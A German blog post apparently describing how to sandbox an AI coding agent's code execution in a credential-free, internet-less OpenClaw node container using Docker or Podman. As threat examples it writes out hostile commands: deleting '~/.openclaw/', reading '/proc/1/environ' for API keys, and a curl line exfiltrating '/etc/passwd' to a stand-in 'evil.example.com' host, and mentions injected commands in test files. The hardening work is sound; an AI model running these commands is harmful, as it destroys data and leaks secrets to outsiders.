OpenClaw Nodes: Agenten-Workloads in isolierten Containern ohne Gateway-Verbindung ausführen
Der Tweet, der alles erklärt
Gestern tauchte auf X ein Kommentar auf, der in unserem Team sofort für Diskussion gesorgt hat:
> *"You can have your agents execute working on a openclaw node where is no openclaw.json connected to the gateway. I have set this up with podman containers within same network, its quite fun and should solve your problems. An agent within a node container even being root can't do…"*
Der Tweet bricht leider ab — aber das Konzept dahinter ist genau richtig und löst ein echtes Problem: Was passiert, wenn ein Agent Code ausführt, der potentiell destruktiv ist?
Dieser Post erklärt das Nodes-Konzept, warum es sicherer ist als der Standardansatz, und wie wir es für Peters Code-Execution-Tasks eingerichtet haben.
---
Das Problem: Code-Execution ist immer ein Risiko
Coding-Agenten wie Peter haben Shell-Zugriff. Das ist nötig — wie soll ein Agent Code testen, wenn er keine Befehle ausführen kann?
Das Standardsetup: Der Agent läuft mit dem OpenClaw-Gateway verbunden. Er hat Zugriff auf den Workspace, auf `~/.openclaw/`, auf installierte Skills, auf Environment-Variablen mit API-Keys.
Ein schlecht formulierter Prompt, ein injizierter Befehl in einer Test-Datei, oder einfach ein Bug im Agenten-Code — und plötzlich läuft `rm -rf ~/.openclaw/` oder der Agent liest die `.env` mit allen API-Keys aus.
Das ist keine Theorie. Es sind reale Angriffsvektoren.
---
Die Lösung: OpenClaw Nodes als Execution-Sandbox
OpenClaw-Nodes sind eigenständige Ausführungsumgebungen, die mit dem Gateway verbunden sind — aber keine eigene Gateway-Konfiguration haben. Sie sind `openclaw.json`-lose Shells.
Das bedeutet konkret:
Ein Agent, der im Node-Container als Root läuft, kann:
Aber er kann NICHT:
Das ist Container-Isolation mit einem zusätzlichen Konzept: dem Gateway-Entkopplung.
---
Wie Nodes technisch funktionieren
Ein OpenClaw-Node registriert sich beim Gateway, ohne selbst ein Gateway zu sein. Der Workflow sieht so aus:
```
Gateway (Sam's Container)
│
├── empfängt Aufgabe: "Führe Tests für PR #201 aus"
│
└── delegiert an Node: execute_in_node(container="peter-sandbox", command="bun test")
│
└── peter-sandbox Container
- kein ~/.openclaw/openclaw.json
- kein .env mit Secrets
- nur /project (read-write Mount)
- führt Befehl aus, gibt Output zurück
```
Der Schlüssel: Der Node-Container hat kein `openclaw.json`. Er ist keine eigenständige Agent-Instanz — er ist ein ausführender Arm, der Befehle entgegennimmt und Ergebnisse zurückgibt.
---
Setup: Node-Container mit Podman (oder Docker)
Das Setup ist einfacher als es klingt. Wir zeigen es mit Docker, aber Podman funktioniert identisch (und hat sogar bessere Rootless-Unterstützung):
Schritt 1: Node-Container-Image vorbereiten
```dockerfile
# Dockerfile.node-sandbox
FROM node:22-slim
# Basis-Tools installieren
RUN apt-get update && apt-get install -y git curl && rm -rf /var/lib/apt/lists/*
# Bun installieren
RUN curl -fsSL https://bun.sh/install | bash
ENV PATH="/root/.bun/bin:$PATH"
# OpenClaw Node-Binary
RUN npm install -g openclaw@latest
# WICHTIG: Kein COPY von openclaw.json oder .env
# Der Container bekommt nur das Projekt gemountet
WORKDIR /project
# Node-Registrierung beim Start
CMD ["openclaw", "node", "start", "--gateway-url", "$GATEWAY_URL", "--gateway-token", "$GATEWAY_TOKEN"]
```
Schritt 2: docker-compose.yml erweitern
```yaml
services:
# Hauptagent Peter
peter:
image: openclaw/agent:latest
volumes:
- ./workspaces/peter:/workspace:rw
# KEIN Projekt-Mount hier — Peter delegiert an den Node
environment:
- OPENCLAW_AGENT_NAME=peter
env_file:
- ./workspaces/peter/.env
# Peter's Execution-Sandbox
peter-sandbox:
build:
context: .
dockerfile: Dockerfile.node-sandbox
volumes:
# NUR das Projekt-Verzeichnis — kein Workspace, kein .env
- /home/sam/projects/humanizing-agents-monorepo:/project:rw
environment:
- GATEWAY_URL=http://peter:3000
- GATEWAY_TOKEN=${PETER_SANDBOX_TOKEN}
# KEIN ANTHROPIC_API_KEY, KEIN DISCORD_TOKEN, etc.
networks:
- agents-internal
# Kein Port nach außen — nur intern erreichbar
networks:
agents-internal:
internal: true
```
Das Entscheidende: `peter-sandbox` hat kein `.env` mit Secrets, keinen Zugriff auf `./workspaces/peter/`. Es sieht nur `/project`.
Schritt 3: Node-Token generieren
Der Node braucht ein Token, um sich beim Gateway zu authentifizieren. Das ist ein separates Token — nicht Peters Haupt-API-Key:
```bash
# Einmalig: Node-Token generieren
openclaw node generate-token --name "peter-sandbox"
# → Gibt einen Token zurück: node_tok_xxxxx
# In .env speichern (nur das Gateway braucht ihn, nicht der Node selbst):
echo 'PETER_SANDBOX_TOKEN=node_tok_xxxxx' >> .env
```
---
Peters Workflow mit Node-Delegation
Sobald der Node läuft, kann Peter Execution-Tasks delegieren, anstatt sie direkt auszuführen:
```
# In Peters SOUL.md:
Code-Execution-Regel
Wenn du Code ausführen oder Tests laufen lassen musst:
IMMER über den peter-sandbox Node delegieren, NICHT direkt ausführen.
Syntax:
nodes(action="run", node="peter-sandbox", command="bun test src/utils/")
NIEMALS:
exec(command="bun test src/utils/") ← direkter Shell-Zugriff auf Hauptsystem
```
In der Praxis sieht ein PR-Review dann so aus:
```
1. Peter liest PR-Diff (lesend, im eigenen Container — sicher)
2. Peter identifiziert geänderte Dateien
3. Peter delegiert an Node:
nodes(action="run", node="peter-sandbox", command="bun test src/auth/")
4. Node führt Tests aus im /project-Mount
5. Node gibt Output zurück: "23 passing, 0 failing"
6. Peter postet Review-Kommentar auf GitHub
```
Peter sieht den Test-Output. Der Node hat keine API-Keys gesehen. Das Haupt-System ist nicht involviert.
---
Was passiert, wenn der Node-Container kompromittiert wird?
Das ist die eigentliche Frage. Angenommen, ein bösartiger Code in einer Test-Datei führt `cat /proc/1/environ` aus — was sieht er?
Im Standardsetup (Agent direkt):
```
ANTHROPIC_API_KEY=sk-ant-...
DISCORD_TOKEN=MTIx...
CLICKUP_API_TOKEN=pk-...
# ... alle Secrets
```
Im Node-Sandbox-Setup:
```
GATEWAY_URL=http://peter:3000
GATEWAY_TOKEN=node_tok_xxxxx
# Das ist alles
```
Der Node-Token ist wertlos ohne Zugriff auf das Netzwerk außerhalb des `agents-internal`-Netzwerks. Und selbst wenn der Token kompromittiert wird: Er kann nur Befehle im Node ausführen — kein Zugriff auf den Haupt-Agent, kein Zugriff auf andere Agenten.
---
Netzwerk-Isolation: Das zweite Sicherheitsschicht
Docker-Netzwerke bieten eine zweite Isolationsebene. In unserer `docker-compose.yml` verwenden wir zwei Netzwerke:
```yaml
networks:
agents-internal:
internal: true # kein Zugang zum Internet
agents-external:
# Normales Netzwerk für Agenten, die externe APIs brauchen
```
| Container | agents-internal | agents-external |
|-----------|----------------|----------------|
| peter | ✅ (kann mit Node kommunizieren) | ✅ (braucht GitHub-API) |
| peter-sandbox | ✅ (empfängt Befehle) | ❌ (kein Internet-Zugang) |
Der Sandbox-Node kann keine externen APIs erreichen — auch wenn er kompromittiert wird.
Das löst ein subtiles Problem: Ein bösartiger Code könnte versuchen, Daten an einen externen Server zu exfiltrieren (`curl https://evil.example.com/$(cat /etc/passwd)`). Im `agents-internal`-Netzwerk schlägt das fehl — kein DNS, kein Routing nach außen.
---
Podman als Alternative: Rootless by Default
Der Tweet erwähnt Podman. Das ist eine valide Alternative, insbesondere auf Linux-Servern, wo Rootless-Container wichtig sind.
```bash
# Podman-Alternative zu unserem Docker-Setup:
# Pod erstellen (äquivalent zu einem Docker-Netzwerk)
podman pod create --name agents-pod
# Haupt-Agent starten
podman run -d --pod agents-pod --name peter -v ./workspaces/peter:/workspace:rw openclaw/agent:latest
# Sandbox-Node starten (rootless — kein sudo nötig)
podman run -d --pod agents-pod --name peter-sandbox -v /home/sam/projects/humanizing-agents-monorepo:/project:rw --env GATEWAY_URL=http://peter:3000 --env GATEWAY_TOKEN=node_tok_xxxxx openclaw-node:latest
```
Podman-Vorteil: Container laufen standardmäßig ohne Root-Rechte auf dem Host — selbst wenn der Container-Prozess als "root" ausgeführt wird, hat er keine Host-Root-Rechte. Das ist eine zusätzliche Isolation-Ebene, die Docker (ohne User-Namespaces) nicht standardmäßig bietet.
---
Wann lohnt sich das Node-Pattern?
Nicht jeder Anwendungsfall braucht diese Komplexität. Unsere Entscheidungsregel:
Node-Sandbox sinnvoll wenn:
Direkter Zugriff reicht wenn:
Für Peter (reviewt fremden Code) → Node-Sandbox. Für Sam (führt eigene Backup-Skripte aus) → kein Node nötig.
---
Das Ergebnis in unserem Setup
Seit wir Peters Code-Execution auf den Node-Container umgestellt haben:
Der Tweet von gestern hat recht: "its quite fun and should solve your problems." Es löst das Problem. Und sobald man verstanden hat, wie Nodes und Gateways zusammenarbeiten, ist das Setup weniger komplex als es aussieht.
---
Zusammenfassung: Das Node-Sandbox-Prinzip
Das Konzept in einem Satz: Execution-Isolation durch Gateway-Entkopplung.
Der Agent denkt und entscheidet im Haupt-Container (mit vollen Credentials). Er führt riskante Operationen im Node-Container aus (ohne Credentials). Die Ergebnisse fließen sicher zurück.
Das ist kein Workaround — es ist das Design, für das OpenClaw-Nodes gebaut wurden.
Die vollständige Konfiguration — Dockerfile, docker-compose.yml mit Netzwerk-Isolation, SOUL.md-Regeln für Node-Delegation und der Podman-Alternativansatz — ist im OpenClaw Setup Playbook dokumentiert.
Komplett auf Deutsch verfügbar. 🇩🇪